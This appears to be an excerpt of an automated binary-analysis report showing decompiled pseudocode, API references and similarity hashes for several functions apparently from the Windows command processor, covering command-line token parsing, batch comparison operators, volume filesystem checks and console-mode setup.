															_t114 = iswspace(_t160);
															_t193 = _t193 + 4;
															__eflags = _t114;
															if(_t114 != 0) {
																L39:
																__eflags = _v228;
																if(_v228 == 0) {
																	L42:
																	__eflags = _v232;
																	if(_v232 != 0) {
																		_t115 = E0087D7D4(_t136,  *_t186);
																		__eflags = _t115;
																		if(_t115 != 0) {
																			break;
																		} else {
																			goto L43;
																		}
																	} else {
																		L43:
																		_t116 = _t186[1] & 0x0000ffff;
																		_t186 =  &(_t186[1]);
																		_t160 = _t116;
																		__eflags = _t116;
																		if(_t116 != 0) {
																			continue;
																		} else {
																		}
																	}
																} else {
																	__eflags = _t136;
																	if(_t136 == 0) {
																		goto L42;
																	} else {
																		_t118 = wcschr(_t136,  *_t186 & 0x0000ffff);
																		_t193 = _t193 + 8;
																		__eflags = _t118;
																		if(_t118 != 0) {
																			break;
																		} else {
																			goto L42;
																		}
																	}
																}
															} else {
																_t121 = wcschr( &_v216,  *_t186 & 0x0000ffff);
																_t193 = _t193 + 8;
																__eflags = _t121;
																if(_t121 != 0) {
																	goto L39;
																} else {
																	break;
																}
															}
															goto L22;
														}
														__eflags =  *_t186;
														if( *_t186 != 0) {
															__eflags = _v224;
															if(_v224 == 0) {
																__eflags = _v220;
																if(_v220 == 0) {
																	_t180 = _t180 + 2;
																	__eflags = _t180;
																}
															}
															_v220 = 1;
															goto L17;
														}
													}
												}
											} else {
												__eflags = _t136;
												if(_t136 == 0) {
													goto L28;
												} else {
													_t123 = wcschr(_t136,  *_t186 & 0x0000ffff);
													_t193 = _t193 + 8;
													__eflags = _t123;
													if(_t123 != 0) {
														goto L17;
													} else {
														goto L28;
													}
												}
											}
										}
									} else {
										_t126 = wcschr( &_v216,  *_t186 & 0x0000ffff);
										_t193 = _t193 + 8;
										if(_t126 != 0) {
											goto L24;
										} else {
											goto L17;
										}
									}
								}
							}
							L22:
							_t145 = _v236;
							_t180 = _t180 - _t145 >> 1;
							_t167 = 4 + _t180 * 2;
							if(E00880100(_t145, 4 + _t180 * 2) == 0) {
								E00899287(_t145);
								__imp__longjmp(0x8ab8b8, 1);
								asm("int3");
								L102:
								_t169 = _t145 + 2;
								do {
									_t96 =  *_t145;
									_t145 = _t145 + 2;
									__eflags = _t96;
								} while (_t96 != 0);
								_t183 = _t180 + (_t145 - _t169 >> 1);
								L68:
								_t148 = _t183 + _t183;
								_t187 = E008800B0(_t183 + _t183);
								_v8 = _t187;
								__eflags = _t187;
								if(_t187 == 0) {
									E00899287(_t148);
									__imp__longjmp(0x8ab8b8, 1);
									asm("int3");
									__eflags =  *0x8afa90;
									if( *0x8afa90 != 0) {
										E008982EB(_t148);
									}
									__eflags = 0;
									__eflags =  *0x8afa88;
									 *0x89d5c8 = 0;
									if( *0x8afa88 != 0) {
										E00898121(_t187, 0);
									}
									return _t187;
								}
								_t150 = _t136[0xf];
								__eflags = _t150;
								if(_t150 != 0) {
									E00881040(_t187, _t183, _t150);
								}
								_t104 = 0;
								__eflags = _t183;
								if(_t183 == 0) {
									L106:
									_t104 = 0x80070057;
								} else {
									__eflags = _t183 - 0x7fffffff;
									if(_t183 > 0x7fffffff) {
										goto L106;
									}
								}
								__eflags = _t104;
								if(_t104 < 0) {
									L109:
									_t172 = 0;
								} else {
									_t104 = 0;
									_t159 = _t183;
									_t173 = _t187;
									__eflags = _t183;
									if(_t183 == 0) {
										L108:
										_t104 = 0x80070057;
										goto L109;
									} else {
										while(1) {
											__eflags =  *_t173 - _t104;
											if( *_t173 == _t104) {
												break;
											}
											_t173 = _t173 + 2;
											_t159 = _t159 - 1;
											__eflags = _t159;
											if(_t159 != 0) {
												continue;
											} else {
												goto L108;
											}
											goto L114;
										}
										__eflags = _t159;
										if(_t159 == 0) {
											goto L108;
										} else {
											_t172 = _t183 - _t159;
											__eflags = _t172;
										}
									}
								}
								__eflags = _t104;
								if(_t104 >= 0) {
									_t113 = _v8 + _t172 * 2;
									_t190 = _t183 - _t172;
									__eflags = _t190;
									if(_t190 == 0) {
										L83:
										_t113 = _t113 - 2;
									} else {
										_t177 = _t172 + 0x7ffffffe + _t190 - _t183;
										_t183 = 0x8afaa0 - _t113;
										__eflags = 0x8afaa0;
										while(1) {
											__eflags = _t177;
											if(_t177 == 0) {
												break;
											}
											_t158 =  *(_t113 + _t183) & 0x0000ffff;
											__eflags = _t158;
											if(_t158 == 0) {
												break;
											} else {
												 *_t113 = _t158;
												_t177 = _t177 - 1;
												_t113 =  &(_t113[0]);
												_t190 = _t190 - 1;
												__eflags = _t190;
												if(_t190 != 0) {
													continue;
												} else {
													goto L83;
												}
											}
											goto L85;
										}
										__eflags = _t190;
										if(_t190 == 0) {
											goto L83;
										}
									}
									L85:
									_t187 = _v8;
									__eflags = 0;
									 *_t113 = 0;
								}
								_t136[0xf] = _t187;
								while(1) {
									L62:
									_t105 = E0087EEC8();
									__eflags = _t105;
									if(_t105 == 0) {
										break;
									}
									_t108 = E0087F030(1);
									__eflags = _t108 - 0x4000;
									if(_t108 == 0x4000) {
										_t145 = _t136[0xf];
										_t180 =  *0x8afa8c;
										__eflags = _t145;
										if(_t145 != 0) {
											goto L102;
										}
										goto L68;
									} else {
										_t188 = _v12;
										_t109 = E008802B0(_t136, _t188, _t183, _t188);
										__eflags = _t109;
										if(_t109 != 0) {
											_t110 =  *_t188;
											do {
												_t69 = _t110 + 0x14; // 0x14
												_t137 = _t69;
												_t110 =  *_t137;
												_v12 = _t137;
												__eflags = _t110;
											} while (_t110 != 0);
											_t136 = _v20;
											continue;
										} else {
											__eflags = 0;
											E0087F300(_t109, 0, 0, _t109);
										}
									}
									break;
								}
								_t136[0xd] = _v16;
								return _t136;
							} else {
								L23:
								return E00886FD0(_t75, _t136, _v12 ^ _t191, _t167, _t180, _t186);
							}
						}
					}
				}
				goto L114;
			}

0x0087ea40
0x0087ea40
0x0087ea4b
0x0087ea52
0x0087ea57
0x0087ea59
0x0087ea5e
0x0087ed52
0x0087ed57
0x0087ed5c
0x0087ed5e
0x00000000
0x0087ed64
0x0088c03d
0x0088c049
0x00000000
0x0088c049
0x0087ea64
0x0087ea64
0x0087ea64
0x0087ea67
0x0087ea67
0x0087ea6a
0x0087ea6d
0x0087ea76
0x0087ea7d
0x0087ea82
0x0087ea8a
0x0088c04f
0x0088c04f
0x0088c05b
0x00000000
0x0087ea90
0x0087ea90
0x0087ea96
0x0087ea9b
0x0087ea9d
0x0087eaa3
0x0087eaa3
0x0087eaa6
0x0087eaaf
0x00000000
0x00000000
0x0087eab3
0x0087ead0
0x0087ead0
0x0087ead8
0x0087ead9
0x0087eab5
0x0087eab7
0x0087eabd
0x0087eac2
0x0087eac8
0x0087eaca
0x00000000
0x0087eaca
0x0087eac8
0x0087eadf
0x0087eae5
0x00000000
0x00000000
0x00000000
0x0087eae5
0x0087eae7
0x0087eaed
0x0087eaf4
0x0087ed75
0x0087ed7a
0x0087ed7b
0x0087ed7c
0x0087ed7d
0x0087ed7e
0x0087ed7f
0x0087ed82
0x0087ed88
0x0087ed89
0x0087ed8d
0x0087ed94
0x0087ed95
0x0087ed97
0x0087ed9f
0x0087eda1
0x00000000
0x0087eafa
0x0087eafc
0x0087eb06
0x0087eb0e
0x0087eb11
0x0087eb1e
0x0087eb24
0x0087eb26
0x0087eb2a
0x0087eb5a
0x0087eb5a
0x0087eb66
0x0087eb7e
0x0087eb81
0x0087eb84
0x0087eb8b
0x0087ecf0
0x0087ecf0
0x0087ecf4
0x0087ecf6
0x0087ecf9
0x0087ecfc
0x0087ecff
0x0087ed02
0x0087ed05
0x00000000
0x00000000
0x0087ed07
0x0087ed0a
0x00000000
0x0087ed10
0x0087ed10
0x0087ed15
0x00000000
0x0087ed17
0x00000000
0x0087ed17
0x0087ed15
0x00000000
0x0087ed0a
0x0087ed6e
0x0087ed6e
0x0087eb91
0x0087eb91
0x0087eb68
0x0087eb6d
0x0087eb73
0x0087eb78
0x0087eccd
0x0087ecd0
0x0087ecd2
0x0087ed1c
0x0087ed23
0x0087ed26
0x0087ed69
0x0087ed69
0x0087ed28
0x0087ed2e
0x0087ed38
0x0087ecd4
0x0087ecd4
0x0087ecd6
0x0088c092
0x0088c092
0x0087ecdc
0x0087ece6
0x0087ece6
0x00000000
0x00000000
0x00000000
0x0087eb78
0x0087eb9b
0x0087eb9f
0x0087eba2
0x0087eba7
0x00000000
0x00000000
0x0087eb2c
0x0087eb2d
0x0087eb33
0x0087eb38
0x0087ebde
0x0087ebde
0x0087ebe1
0x0087ebe3
0x0087ed40
0x0087ed47
0x00000000
0x0087ed4d
0x00000000
0x0087ed4d
0x0087ebe9
0x0087ebe9
0x0087ebe9
0x0087ebe9
0x0087ebec
0x0087ebf2
0x0087ec0e
0x0087ec11
0x0087ec11
0x0087ec14
0x0087ec1a
0x0088c061
0x0088c066
0x0088c06b
0x0088c06d
0x00000000
0x0088c073
0x00000000
0x0088c073
0x0087ec20
0x0087ec20
0x0087ec20
0x0087ec23
0x0087ec26
0x0087ec28
0x0087ec30
0x0087ec30
0x0087ec34
0x00000000
0x00000000
0x0087ec37
0x0087ec3d
0x0087ec40
0x0087ec42
0x0087ec8a
0x0087ec8a
0x0087ec91
0x0087eca9
0x0087eca9
0x0087ecb0
0x0088c07d
0x0088c082
0x0088c084
0x00000000
0x0088c08a
0x00000000
0x0088c08a
0x0087ecb6
0x0087ecb6
0x0087ecb6
0x0087ecba
0x0087ecbd
0x0087ecbf
0x0087ecc2
0x00000000
0x00000000
0x0087ecc8
0x0087ecc2
0x0087ec93
0x0087ec93
0x0087ec95
0x00000000
0x0087ec97
0x0087ec9c
0x0087eca2
0x0087eca5
0x0087eca7
0x00000000
0x00000000
0x00000000
0x00000000
0x0087eca7
0x0087ec95
0x0087ec44
0x0087ec4f
0x0087ec55
0x0087ec58
0x0087ec5a
0x00000000
0x00000000
0x00000000
0x00000000
0x0087ec5a
0x00000000
0x0087ec42
0x0087ec5c
0x0087ec60
0x0087ec66
0x0087ec6d
0x0087ec6f
0x0087ec76
0x0087ec78
0x0087ec78
0x0087ec78
0x0087ec76
0x0087ec7b
0x00000000
0x0087ec7b
0x0087ec60
0x0087ec26
0x0087ebf4
0x0087ebf4
0x0087ebf6
0x00000000
0x0087ebf8
0x0087ebfd
0x0087ec03
0x0087ec06
0x0087ec08
0x00000000
0x00000000
0x00000000
0x00000000
0x0087ec08
0x0087ebf6
0x0087ebf2
0x0087eb3e
0x0087eb49
0x0087eb4f
0x0087eb54
0x00000000
0x00000000
0x00000000
0x00000000
0x0087eb54
0x0087eb38
0x0087eb2a
0x0087ebad
0x0087ebad
0x0087ebb5
0x0087ebb7
0x0087ebc5
0x0088c09a
0x0088c0a6
0x0088c0ac
0x0088c0ad
0x0088c0ad
0x0088c0b0
0x0088c0b0
0x0088c0b3
0x0088c0b6
0x0088c0b6
0x0088c0bf
0x0087edfa
0x0087edfa
0x0087ee02
0x0087ee04
0x0087ee07
0x0087ee09
0x0088c0f7
0x0088c103
0x0088c109
0x0088c10a
0x0088c111
0x0088c117
0x0088c117
0x0087efe1
0x0087efe3
0x0087efea
0x0087efef
0x0088c125
0x0088c125
0x00000000
0x0087eff5
0x0087ee0f
0x0087ee12
0x0087ee14
0x0088c0cb
0x0088c0cb
0x0087ee1a
0x0087ee1c
0x0087ee1e
0x0088c0d5
0x0088c0d5
0x0087ee24
0x0087ee24
0x0087ee2a
0x00000000
0x00000000
0x0087ee2a
0x0087ee30
0x0087ee32
0x0088c0f0
0x0088c0f0
0x0087ee38
0x0087ee38
0x0087ee3a
0x0087ee3c
0x0087ee3e
0x0087ee40
0x0088c0eb
0x0088c0eb
0x00000000
0x0087ee46
0x0087ee46
0x0087ee46
0x0087ee49
0x00000000
0x00000000
0x0088c0df
0x0088c0e2
0x0088c0e2
0x0088c0e5
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0088c0e5
0x0087ee4f
0x0087ee51
0x00000000
0x0087ee57
0x0087ee59
0x0087ee59
0x0087ee59
0x0087ee51
0x0087ee40
0x0087ee5b
0x0087ee5d
0x0087ee64
0x0087ee67
0x0087ee67
0x0087ee69
0x0087ee99
0x0087ee99
0x0087ee6b
0x0087ee7a
0x0087ee7c
0x0087ee7c
0x0087ee80
0x0087ee80
0x0087ee82
0x00000000
0x00000000
0x0087ee84
0x0087ee88
0x0087ee8b
0x00000000
0x0087ee8d
0x0087ee8d
0x0087ee90
0x0087ee91
0x0087ee94
0x0087ee94
0x0087ee97
0x00000000
0x00000000
0x00000000
0x00000000
0x0087ee97
0x00000000
0x0087ee8b
0x0087ee9e
0x0087eea0
0x00000000
0x00000000
0x0087eea0
0x0087eea2
0x0087eea2
0x0087eea5
0x0087eea7
0x0087eea7
0x0087eeaa
0x0087eda4
0x0087eda4
0x0087eda4
0x0087eda9
0x0087edab
0x00000000
0x00000000
0x0087edb2
0x0087edb7
0x0087edbc
0x0087ede9
0x0087edec
0x0087edf2
0x0087edf4
0x00000000
0x00000000
0x00000000
0x0087edbe
0x0087edbe
0x0087edc3
0x0087edc8
0x0087edca
0x0087eeb2
0x0087eeb4
0x0087eeb4
0x0087eeb4
0x0087eeb7
0x0087eeb9
0x0087eebc
0x0087eebc
0x0087eec0
0x00000000
0x0087edd0
0x0087edd3
0x0087edd5
0x0087edd5
0x0087edca
0x00000000
0x0087edbc
0x0087edde
0x0087ede8
0x0087ebcb
0x0087ebcb
0x0087ebdb
0x0087ebdb
0x0087ebc5
0x0087eaf4
0x0087ea8a
0x00000000

APIs

wcschr.MSVCRT ref: 0087EAB7
iswspace.MSVCRT ref: 0087EB2D
wcschr.MSVCRT ref: 0087EB49
wcschr.MSVCRT ref: 0087EB6D
wcschr.MSVCRT ref: 0087EBFD
iswspace.MSVCRT ref: 0087EC37
wcschr.MSVCRT ref: 0087EC4F
wcschr.MSVCRT ref: 0087EC9C
longjmp.MSVCRT(008AB8B8,00000001,00000000,?,?), ref: 0088C049
longjmp.MSVCRT(008AB8B8,00000001), ref: 0088C05B

Strings

=,;, xrefs: 0087EA96

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: wcschr$iswspacelongjmp
String ID: =,;
API String ID: 4008636219-1539845467
Opcode ID: b900349d98a760a328920819b3d1956251ffcaf1a7337dc0a952413311c8efb3
Instruction ID: 61b92562b2387d22a8dba4677198f187368d0b57d1b2ba0e811970732234245f
Opcode Fuzzy Hash: b900349d98a760a328920819b3d1956251ffcaf1a7337dc0a952413311c8efb3
Instruction Fuzzy Hash: 1FD10475A00215CBDB34AF68C8457BA77A5FF98344F1484EAE94EE7249EB34CD80CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0089B9D3, Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 154
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E0089B9D3(void* __ecx, char __edx, char _a4) {
				signed int _v8;
				long _v20;
				char _v24;
				int _v28;
				void _v548;
				int _v556;
				char _v560;
				int _v564;
				void _v1084;
				char _v1085;
				long _v1092;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t41;
				void* _t63;
				WCHAR* _t64;
				int _t65;
				WCHAR* _t66;
				void* _t69;
				void* _t70;
				void* _t71;
				WCHAR* _t73;
				WCHAR* _t81;
				void* _t89;
				WCHAR* _t90;
				signed int _t91;

				_t88 = __edx;
				_t41 =  *0x89d0b4; // 0x987dc5f4
				_v8 = _t41 ^ _t91;
				_v1085 = __edx;
				_t90 = 0;
				_v20 = 0x104;
				_v28 = 0;
				_t73 = 1;
				_t89 = __ecx;
				_v24 = 1;
				memset( &_v548, 0, 0x104);
				_v564 = 0;
				_v560 = 1;
				_v556 = 0x104;
				memset( &_v1084, 0, 0x104);
				if(E00880C70( &_v548, ((0 | _v24 == 0x00000000) - 0x00000001 & 0x00007ee3) + 0x104) < 0 || E00880C70( &_v1084, ((0 | _v560 == 0x00000000) - 0x00000001 & 0x00007ee3) + 0x104) < 0) {
					L27:
					_t90 = _t73;
					goto L28;
				} else {
					_t63 = _v564;
					if(_t63 == 0) {
						_t63 =  &_v1084;
					}
					__imp__GetVolumePathNameW(_t89, _t63, _v556);
					if(_t63 == 0) {
						goto L27;
					} else {
						_t64 = _v564;
						if(_t64 == 0) {
							_t64 =  &_v1084;
						}
						_t65 = GetDriveTypeW(_t64);
						if(_t65 == 0 || _t65 == 4) {
							_t73 = _t90;
							goto L27;
						} else {
							_t66 = _v28;
							if(_t66 == 0) {
								_t66 =  &_v548;
							}
							_t81 = _v564;
							if(_t81 == 0) {
								_t81 =  &_v1084;
							}
							if(GetVolumeInformationW(_t81, _t90, _t90, _t90,  &_v1092,  &_v1092, _t66, _v20) == 0) {
								goto L27;
							} else {
								_t69 = _v28;
								if(_t69 == 0) {
									_t69 =  &_v548;
								}
								__imp___wcsicmp(_t69, L"NTFS");
								if(_t69 != 0) {
									if(_a4 == 0) {
										L21:
										if(_v1085 == 0) {
											L28:
											_t73 = _t90;
										} else {
											_t70 = _v28;
											if(_t70 == 0) {
												_t70 =  &_v548;
											}
											__imp___wcsicmp(_t70, L"CSVFS");
											if(_t70 != 0) {
												goto L28;
											} else {
											}
										}
									} else {
										_t71 = _v28;
										if(_t71 == 0) {
											_t71 =  &_v548;
										}
										__imp___wcsicmp(_t71, L"REFS");
										if(_t71 != 0) {
											goto L21;
										}
									}
								}
							}
						}
					}
				}
				__imp__??_V@YAXPAX@Z(_v564);
				__imp__??_V@YAXPAX@Z();
				return E00886FD0(_t73, _t73, _v8 ^ _t91, _t88, _t89, _t90, _v28);
			}

0x0089b9d3
0x0089b9de
0x0089b9e5
0x0089b9f0
0x0089b9f7
0x0089b9f9
0x0089b9fe
0x0089ba07
0x0089ba0a
0x0089ba0c
0x0089ba0f
0x0089ba17
0x0089ba22
0x0089ba28
0x0089ba37
0x0089ba60
0x0089bb85
0x0089bb85
0x00000000
0x0089ba90
0x0089ba90
0x0089ba98
0x0089ba9a
0x0089ba9a
0x0089baa8
0x0089bab0
0x00000000
0x0089bab6
0x0089bab6
0x0089babe
0x0089bac0
0x0089bac0
0x0089bac7
0x0089bacf
0x0089bb83
0x00000000
0x0089bade
0x0089bade
0x0089bae3
0x0089bae5
0x0089bae5
0x0089baeb
0x0089baf3
0x0089baf5
0x0089baf5
0x0089bb13
0x00000000
0x0089bb15
0x0089bb15
0x0089bb1a
0x0089bb1c
0x0089bb1c
0x0089bb28
0x0089bb32
0x0089bb38
0x0089bb59
0x0089bb60
0x0089bb87
0x0089bb87
0x0089bb62
0x0089bb62
0x0089bb67
0x0089bb69
0x0089bb69
0x0089bb75
0x0089bb7f
0x00000000
0x00000000
0x0089bb81
0x0089bb7f
0x0089bb3a
0x0089bb3a
0x0089bb3f
0x0089bb41
0x0089bb41
0x0089bb4d
0x0089bb57
0x00000000
0x00000000
0x0089bb57
0x0089bb38
0x0089bb32
0x0089bb13
0x0089bacf
0x0089bab0
0x0089bb8f
0x0089bb99
0x0089bbb2

APIs

memset.MSVCRT ref: 0089BA0F
memset.MSVCRT ref: 0089BA37

Part of subcall function 00880C70: ??_V@YAXPAX@Z.MSVCRT ref: 00880CBA
Part of subcall function 00880C70: memset.MSVCRT ref: 00880CDD

GetVolumePathNameW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,?,-00000105,-00000105,?,?,?,00000001,00000000,00000000), ref: 0089BAA8
GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,00000001,00000000,00000000), ref: 0089BAC7
GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0(?,00000000,00000000,00000000,?,?,?,00000001,?,?,?,00000001,00000000,00000000), ref: 0089BB0B
_wcsicmp.MSVCRT ref: 0089BB28
_wcsicmp.MSVCRT ref: 0089BB4D
_wcsicmp.MSVCRT ref: 0089BB75
??_V@YAXPAX@Z.MSVCRT ref: 0089BB8F
??_V@YAXPAX@Z.MSVCRT ref: 0089BB99

Strings

REFS, xrefs: 0089BB47
CSVFS, xrefs: 0089BB6F
NTFS, xrefs: 0089BB22

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: _wcsicmpmemset$Volume$DriveInformationNamePathType
String ID: CSVFS$NTFS$REFS
API String ID: 3510147486-2605508654
Opcode ID: 7efabecddd756f7a5ca2512ceb8b9b725a306106cb39f746311b6f0dad7b523d
Instruction ID: 43c3620205f6dddcb90ba6b09db05634068e9291fafa8b374434bc8ae1773b7c
Opcode Fuzzy Hash: 7efabecddd756f7a5ca2512ceb8b9b725a306106cb39f746311b6f0dad7b523d
Instruction Fuzzy Hash: 48516871A002199BDF20DBA5ED89BEEBBB9FF04364F4801A9E605D3141DB34DE44CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00879520, Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 128COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 008795E4
_wcsicmp.MSVCRT ref: 008795F6
_wcsicmp.MSVCRT ref: 00879608
_wcsicmp.MSVCRT ref: 0087961A
_wcsicmp.MSVCRT ref: 0087962C
_wcsicmp.MSVCRT ref: 00879682

Strings

NEQ, xrefs: 008795F0
LEQ, xrefs: 00879614
LSS, xrefs: 00879602
GEQ, xrefs: 0087967C
GTR, xrefs: 00879626
EQU, xrefs: 008795DE

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: _wcsicmp
String ID: EQU$GEQ$GTR$LEQ$LSS$NEQ
API String ID: 2081463915-3124875276
Opcode ID: 3d1117b6a532ee78fff6b60920750596ea4f0c1de2dbbf38626890b6ecf5c72a
Instruction ID: 108f80ef5157f9ac9a237b9e469b236673c2052a58be84ef54100051c989de2e
Opcode Fuzzy Hash: 3d1117b6a532ee78fff6b60920750596ea4f0c1de2dbbf38626890b6ecf5c72a
Instruction Fuzzy Hash: F8417A312007128AEB247B64EC66A6677E5FB21768F14812EE2DFC26D9EF76D400C701

Uniqueness

Uniqueness Score: -1.00%

Function 008806C0, Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 21%

			E008806C0(void* __ecx) {
				signed int _v8;
				void* __esi;
				signed int _t4;
				void* _t5;
				void* _t6;
				void* _t7;
				void* _t15;
				void* _t16;
				signed int _t20;
				signed int _t23;
				signed int _t24;
				signed int _t25;
				void* _t26;
				void* _t27;
				intOrPtr* _t28;
				signed int _t29;
				void* _t30;
				void* _t32;

				_t4 =  *0x89d0b4; // 0x987dc5f4
				_t5 = _t4 ^ _t29;
				_v8 = _t5;
				__imp___get_osfhandle( *0x8a3880, __ecx);
				_t6 = SetConsoleMode(_t5, 1);
				__imp___get_osfhandle(0x8a3880);
				_t32 = _t30 + 8;
				_t7 = GetConsoleMode(_t6, 1);
				if(_t7 == 0) {
					L2:
					__imp___get_osfhandle(0x8a3884);
					if(GetConsoleMode(_t7, 0) != 0) {
						_t20 =  *0x8a3884;
						_t8 = _t20 & 0x00000017;
						if(_t8 != 7) {
							_t23 = _t20 & 0xffffffef | 0x00000007;
							 *0x8a3884 = _t23;
							__imp___get_osfhandle(_t23);
							_t8 = SetConsoleMode(_t8, 0);
						}
						_push(_t27);
						_t28 =  *0x8a3888;
						if(_t28 != 0) {
							 *0x8b94b4(L"CMD.EXE");
							_t8 =  *_t28();
						}
						_pop(_t27);
					}
					return E00886FD0(_t8, _t16, _v8 ^ _t29, _t25, _t26, _t27);
				}
				_t24 =  *0x89d0e0; // 0x7
				_t25 =  *0x8a3880;
				_t7 = _t24 & _t25;
				if(_t7 != _t24) {
					_t25 = _t25 | _t24;
					 *0x8a3880 = _t25;
					__imp___get_osfhandle(_t25);
					_t32 = _t32 + 4;
					_t7 = SetConsoleMode(_t7, 1);
					if(_t7 != 0) {
						goto L2;
					}
					_t7 =  *0x89d0e0; // 0x7
					if((_t7 & 0x00000004) != 0) {
						 *0x89d0e0 = _t7 & 0xfffffffb;
						_t15 =  *0x8a3880 & 0xfffffffb;
						 *0x8a3880 = _t15;
						__imp___get_osfhandle(_t15);
						_t32 = _t32 + 4;
						_t7 = SetConsoleMode(_t15, 1);
					}
				}
				goto L2;
			}

0x008806c6
0x008806cb
0x008806cd
0x008806d8
0x008806e2
0x008806ef
0x008806f5
0x008806f9
0x00880701
0x00880717
0x0088071e
0x00880730
0x00880732
0x0088073a
0x0088073f
0x00880744
0x0088074a
0x00880750
0x0088075a
0x0088075a
0x00880760
0x00880761
0x00880769
0x00880772
0x00880778
0x00880778
0x0088077a
0x0088077a
0x00880788
0x00880788
0x00880703
0x0088070b
0x00880711
0x00880715
0x00880789
0x0088078e
0x00880794
0x0088079a
0x0088079e
0x008807a6
0x00000000
0x00000000
0x0088cc03
0x0088cc0a
0x0088cc13
0x0088cc1d
0x0088cc23
0x0088cc28
0x0088cc2e
0x0088cc32
0x0088cc32
0x0088cc0a
0x00000000

APIs

_get_osfhandle.MSVCRT ref: 008806D8
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,008938A5), ref: 008806E2
_get_osfhandle.MSVCRT ref: 008806EF
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 008806F9
_get_osfhandle.MSVCRT ref: 0088071E
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 00880728
_get_osfhandle.MSVCRT ref: 00880750
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 0088075A
_get_osfhandle.MSVCRT ref: 00880794
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 0088079E
_get_osfhandle.MSVCRT ref: 0088CC28
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 0088CC32

Strings

CMD.EXE, xrefs: 0088076B

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: ConsoleMode_get_osfhandle
String ID: CMD.EXE
API String ID: 1606018815-3025314500
Opcode ID: 64cd9afdb29bd4bb188aec878e45a5e715ed270786e98e28bce3068b45a5cab4
Instruction ID: 8ab401dcfba4a35a3f859701a279da6962446ec0f563229149d7820d8873973d
Opcode Fuzzy Hash: 64cd9afdb29bd4bb188aec878e45a5e715ed270786e98e28bce3068b45a5cab4
Instruction Fuzzy Hash: 5531D4B0A00700ABE714BB78EC0AB2637B4FB05755F080628F656C32E1DB79A915CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00879835, Relevance: 21.3, APIs: 1, Strings: 11, Instructions: 300
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00879835(intOrPtr* __ecx, void* __edx, intOrPtr _a4) {
				signed int _v8;
				void* __ebx;
				void* __ebp;
				intOrPtr _t76;
				intOrPtr _t87;
				intOrPtr _t90;
				signed int _t91;
				signed char _t103;
				signed int _t107;
				intOrPtr _t108;
				signed int _t125;
				signed int _t144;
				intOrPtr* _t179;
				void* _t182;

				_t153 = __edx;
				_t123 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t179 = __ecx;
				_t114 = 0;
				_t182 = __edx;
				_v8 = 0;
				_t76 =  *__ecx;
				if(_t76 > 0x37) {
					__eflags = _t76 - 0x38;
					if(__eflags == 0) {
						E00879899(0, _a4,  *((intOrPtr*)(__ecx + 0x38)), 1);
						L78:
						_t125 =  *(_t179 + 0x3c);
						L79:
						E00879835(_t125, _t182, _a4);
						L7:
						return 0;
					}
					if(__eflags <= 0) {
						L54:
						__imp__longjmp(0x8ab8f8, 0xffffffff);
						L55:
						E00879899(_t114, _a4, "(", _t114);
						_v8 = ")";
						L60:
						E00879835( *((intOrPtr*)(_t179 + 0x38)), _t182, _a4);
						E00879899(_t114, _a4, _v8, _t114);
						__eflags =  *_t179 - 0x33;
						if( *_t179 == 0x33) {
							goto L7;
						}
						__eflags =  *_t179 - 0x3b;
						if( *_t179 == 0x3b) {
							goto L7;
						}
						goto L78;
					}
					__eflags = _t76 - 0x3a;
					if(_t76 <= 0x3a) {
						_v8 = L"== ";
						__eflags =  *0x8b3cc9;
						if( *0x8b3cc9 != 0) {
							_t87 =  *((intOrPtr*)(__ecx + 0x44));
							__eflags = _t87 - 1;
							if(_t87 != 1) {
								__eflags = _t87 - 2;
								if(_t87 != 2) {
									__eflags = _t87 - 3;
									if(_t87 != 3) {
										__eflags = _t87 - 4;
										if(_t87 != 4) {
											__eflags = _t87 - 5;
											if(_t87 != 5) {
												__eflags = _t87 - 6;
												if(_t87 == 6) {
													_v8 = L"GEQ ";
												}
											} else {
												_v8 = L"GTR ";
											}
										} else {
											_v8 = L"LEQ ";
										}
									} else {
										_v8 = L"LSS ";
									}
								} else {
									_v8 = L"NEQ ";
								}
							} else {
								_v8 = L"EQU ";
							}
						}
						E00879899(1, _a4,  *((intOrPtr*)(_t179 + 0x38)), 1);
						_t114 = 0;
						_push(0);
						_push(_v8);
						L4:
						E00879899(_t114, _a4);
